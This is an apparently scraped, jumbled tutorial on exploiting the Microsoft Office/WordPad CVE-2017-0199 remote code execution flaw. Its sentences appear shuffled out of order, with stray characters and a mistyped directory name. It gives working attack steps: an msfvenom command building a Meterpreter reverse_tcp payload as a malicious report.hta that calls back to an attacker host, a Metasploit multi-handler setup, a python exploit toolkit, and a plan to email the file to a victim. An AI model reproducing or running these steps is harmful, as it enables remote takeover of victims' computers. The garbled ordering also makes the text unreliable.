Now its time to run the python script coded by Bhadresh which generates a new. Note: The -j argument makes sure the handler runs as a job and not in foreground.įurthermore, you also need to move your report.hta file into CVE-2017-0199 directory by typing “ cp -rf report.hta CVE-201-0199“. In case of the multi handler the payload needs to be configured as well and the handler is started using the exploit or run command. Set payload windows/meterpreter/reverse_tcp To start the metasploit, just type “ msfconsole“. This is useful when you are executing a backdoor in a victim’s machine and you need to connect back to take control. Next step is to start the handler in attacker machine i.e. There are many different reverse shells available, and the most commonly known and stable has been the windows/meterpreter/reverse_tcp payload.Īs you can see that, the report.hta file has been created of size 6605 bytes which you can further view the contents of report.hta file by typing the below command: This is most likely everybody’s first choice. The purpose of a reverse shell is simple: to get a shell. Next step is to create a malicious payload with the help of msfvenom as shown below:Ĭommand: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.128 LPORT=4444 -f hta-psh > report.hta To make you understand more easily about this python script, just type “ python cve-2017-0199_toolkit.py -h” which gives you a brief summary of in-built options. b) With Metasploit Framework of module named as office_word_htaīhadresh has given a good explanation on his Github page about this python based exploit. Your first step is to clone this repository by typing the following command in your terminal:.a) With Python script coded by Bhadresh.THE IMPACT OF SUCH ATTACKS SHOULD NOT BE UNDERESTIMATED.īasically, to exploit this vulnerability, you’ve two ways: The update addresses the vulnerability by correcting the way that Microsoft Office and WordPad parses specially crafted files, and by enabling API functionality in Windows that Microsoft Office and WordPad will leverage to resolve the identified issue. In an email attack scenario, an attacker could exploit the vulnerability by sending a specially crafted file to the user and then convincing the user to open the file. Suggested Read: Exploit Windows with Malicious MS-OFFICE File Exploitation of this vulnerability requires that a user open or preview a specially crafted file with an affected version of Microsoft Office or WordPad. An attacker who successfully exploited this vulnerability could take control of an affected system.Īn attacker could then install programs view, change, or delete data or create new accounts with full user rights. A remote code execution vulnerability exists in the way that Microsoft Office and WordPad parse specially crafted files.
